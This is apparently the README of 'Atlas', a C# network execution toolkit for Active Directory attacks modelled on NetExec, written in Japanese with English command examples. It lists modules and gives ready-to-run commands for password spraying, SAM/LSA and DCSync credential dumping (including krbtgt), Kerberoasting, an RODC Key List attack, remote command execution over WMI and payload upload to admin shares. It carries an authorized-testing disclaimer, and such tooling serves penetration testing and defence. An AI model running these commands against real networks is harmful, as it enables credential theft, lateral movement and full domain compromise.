
クロスプラットフォームのネットワーク実行ツールキット(SMB/Kerberos/WMI/LDAP/DCSync)で、TrustedSecのTitanisを基盤に構築 - C#によるNetExecスタイルのワークフロー
Atlas は、TrustedSec の Titanis プロトコルライブラリ上に構築されたクロスプラットフォーム(Windows/Linux)のネットワーク実行およびセキュリティ評価ツールキットです。NetExec/CrackMapExec のワークフローに着想を得ており、ターゲットリスト、認証情報セット、モジュール式の列挙、そしてコンパクトな [HH:mm:ss] [+] host - message 形式のコンソール出力を備えています。
このツールは許可されたセキュリティテストを目的としています。テストの明示的な許可を得ているシステムに対してのみ使用してください。
| プロトコル | 機能 |
|---|---|
smb | 認証チェック(NTLM/Kerberos/匿名)、SRVS/SAMR 経由の共有・ユーザー・グループ・ディスク・セッション;Remote Registry 経由の SAM/LSA;SMB2/3 経由のファイル操作;--pass-pol/--rid-brute/--gen-relay-list/--generate-krb5-file/--generate-hosts-file/--generate-tgt;スナップショット/ストリーム/オープンファイル/NIC;グループメンバー、LSA SID/名前検索、レジストリクエリ、サービス、ログオンユーザー、タスク一覧/強制終了、EFS 強制;wmiexec / smbexec / mmcexec(MMC DCOM)経由の実行 |
kerberos | ユーザー列挙、pre-auth/AS-REP 検出、Kerberoasting、Key List 攻撃、チケット偽造(golden/silver)、TGT 要求、パスワード変更、S4U2Self/Proxy(-S4UserName) |
wmi | DCOM/WMI 経由の認証、Win32_Process.Create(-x/-X)または --wmi-query(WQL)、名前空間の一覧表示、StdRegProv レジストリ、DCOM メソッド呼び出し、EPM エンドポイント一覧表示 |
ldap | SASL/シンプルバインド経由の認証、クエリ + フラグ(--users/--trusted-for-delegation/--pass-pol/--get-sid など)、--kerberoasting、書き込み操作(-AddUser/-AddComputer/-Delete/-Modify/-SetPassword)、モジュール、--bloodhound(-c)による BloodHound CE への JSON+zip 出力 |
dcsync | [MS-DRSR](DRSGetNCChanges)経由のレプリケーション:単一オブジェクト、完全な --ntds NC 同期、トポロジ(-DcInfo/-ListDomains/-ListSites/-ListRoles/-ListPartitions/-ListGcs/-Neighbors/-CrackName) |
フラグのスタイルは可能な限り NetExec に準拠しています(
--shares、--users、--pass-pol、--rid-brute、--local-groups、-dドメイン、-Hハッシュ、--kdcHost、-M/-o/-Lモジュール)。Titanis のシングルダッシュ表記(-Shares、-ud、-NtlmHash)も引き続き動作します。注意:-x/-Xは共存できません(大文字小文字を区別しないため)。そのため PowerShell 実行は-psです。-dはkerberosを含めどこでもドメインを指します(レルムはこれにフォールバックします)。
atlas <proto> -L で一覧表示)| モジュール | プロトコル | 説明 |
|---|---|---|
spider | smb | 再帰的共有クローラー (depth、maxfiles、match) |
shareaccess | smb | 共有ごとの READ/WRITE アクセスチェック |
localadmins | smb | SAMR 経由のローカル Administrators |
gpp_password | smb | Groups.xml などから cpassword を復号 |
gpp_autologin | smb | Registry.xml の自動ログオン資格情報 |
gpp_privileges | smb | GptTmpl.inf の特権割り当て |
uac / wdigest / runasppl / install_elevated | smb | winreg 経由のレジストリチェック |
spooler | smb | SCM 経由のプリントスプーラーステータス |
keepass / rclone / winscp / mremoteng / vnc など | smb | 共有上のファイルハンター |
ntlmv1 / reg-winlogon / hyperv-host | smb | LmCompatibilityLevel、Winlogon 自動ログオン、Hyper-V ホスト |
remote-uac / rdp / shadowrdp | smb | リモート UAC、RDP、RDP シャドウイングの読み取り/書き込み (ACTION=...) |
reg-query | smb | レジストリ値のクエリ/設定/削除 (PATH=...、KEY=...、VALUE=...、TYPE=...、DELETE=True) |
enum_cve | smb | ビルド + UBR からのパッチレベル CVE チェック |
enum_av | smb | LSA サービス名 + IPC$ パイプ経由の AV/EDR |
enum_dns / get_netconnections / bitlocker | smb | WMI 経由 (root\MicrosoftDNS、NIC 設定、BitLocker) |
putty / notepad / recent_files / recyclebin / snipped | smb | PuTTY セッション + .ppk、Notepad タブ状態、Recent LNK、ごみ箱、スクリーンショット |
lockscreendoors | smb | FileDescription 経由のバックドア化されたアクセシビリティバイナリ |
drop-sc / drop-library-ms / scuffy / slinky | smb | 強制認証ルアードロップ + CLEANUP=True |
webdav / smbghost / onelogon / sccm-recon6 | smb | WebClient チェック、SMBGhost プローブ、VulnerableChannelAllowList、SCCM 偵察 |
wcc | smb | Windows セキュリティ態勢チェックリスト (UAC/LSA/RDP/Defender/LAPS/NetBIOS/...) |
change-password | smb | SAMR 経由のセルフサービスパスワード変更 (USER=...、OLDPASS=...、NEWPASS=...) |
maq | ldap | ms-DS-MachineAccountQuota |
pre2k | ldap | Pre-Windows 2000 コンピューター (UAC 4128) |
laps | ldap | LAPS パスワード |
adcs | ldap | AD CS 登録サービス |
subnets | ldap | Configuration NC からのサイト/サブネット |
daclread / badsuccessor / certipy-find など | ldap | Titanis 経由の LDAP 列挙 |
get-unixUserPassword / dns-nonsecure | ldap | Unix パスワード、非セキュア DNS ゾーン |
modify-group / add-computer | ldap | グループメンバーシップ、コンピューターライフサイクル (NAME=...、DELETE=True、...) |
すべてのプロトコルで共通:
a.b.c.d-e)、カンマ区切りリスト、@file.kirbi/.ccache チケット、PKINIT 証明書、S4U、SPN オーバーライド、SOCKS5リポジトリは Titanis のソースを external/Titanis 配下にベンダー提供として含み、ソリューションの一部としてビルドします。
git clone https://github.com/<your-account>/atlas.git
cd atlas
dotnet build Atlas.sln -p:NoWarn=CS1998
生成されたバイナリはフレームワーク依存の .NET アプリケーションです:
dotnet src/Atlas.Cli/bin/Debug/net8.0/atlas.dll --help
atlas <protocol> <targets> [authentication] [actions] [options]
ターゲット指定は、HOST、10.0.0.5、192.168.1.0/24、10.0.0.1-64、カンマ区切りのリスト、または @targets.txt の任意の組み合わせを受け付けます。
# Credential check only
atlas smb 10.0.0.5 -u administrator -p 'Password1!'
# Enumeration
atlas smb 10.0.0.0/24 -u admin -p 'Password1!' -Shares -Users -Groups -Disks -Sessions
# SAM / LSA dumping (requires local admin)
atlas smb 10.0.0.5 -u admin -p 'Password1!' -Sam -Lsa
# File operations
atlas smb 10.0.0.5 -u admin -p pass -LsPath 'C$\Users'
atlas smb 10.0.0.5 -u admin -p pass -GetFile 'C$\Windows\win.ini'
atlas smb 10.0.0.5 -u admin -p pass -PutSource ./payload.bin -PutDest 'C$\Temp\payload.bin'
# Modules and flags
atlas smb 10.0.0.0/24 -u admin -p pass -M spider -mo 'depth=3,maxfiles=50,match=.conf'
atlas smb 10.0.0.0/24 -u admin -p pass -M shareaccess -M gpp_password
atlas smb 10.0.0.5 -u admin -p pass -M localadmins -M uac
# Flags (NetExec-like)
atlas smb 10.0.0.5 -u admin -p pass --pass-pol --rid-brute 2000
atlas smb 10.0.0.5 --Anonymous --gen-relay-list relay.txt --generate-krb5-file krb5.conf
# Password spray
atlas smb 10.0.0.0/24 -UserList users.txt -PassList 'Password1!,Summer2024!'
# User enumeration (no credentials required)
atlas kerberos dc01.corp.local -d CORP.LOCAL -UserList users.txt
# Kerberoasting (requires any domain credential)
atlas kerberos dc01.corp.local -d CORP.LOCAL -Roast -u lowpriv -p 'Password1!'
atlas kerberos dc01.corp.local -d CORP.LOCAL -Roast -u lowpriv -p pass -SpnList 'MSSQLSvc/sql01.corp.local:1433'
# Key List attack against an RODC
atlas kerberos rodc01.corp.local -d CORP.LOCAL -rodcNo 20000 -rodcKey <aes256-hex> -UserList 'jdoe:1104'
atlas wmi dc01.corp.local -d CORP.LOCAL -u admin -p pass # auth check
atlas wmi dc01.corp.local -d CORP.LOCAL -u admin -p pass -x whoami # exec
# SASL (NTLM/Kerberos) bind - typical against Active Directory
atlas ldap dc01.corp.local -d CORP.LOCAL -u user -p pass -Query '(adminCount=1)' -Attrs sAMAccountName
# RFC 4511 simple bind - typical against OpenLDAP
atlas ldap ldap.example.com -bd 'cn=admin,dc=example,dc=com' -bp password \
-Query '(objectClass=*)' -Base 'dc=example,dc=com'
atlas dcsync dc01.corp.local -d CORP.LOCAL -u admin -p pass krbtgt
atlas dcsync dc01.corp.local -d CORP.LOCAL -u admin -p pass jdoe '(adminCount=1)'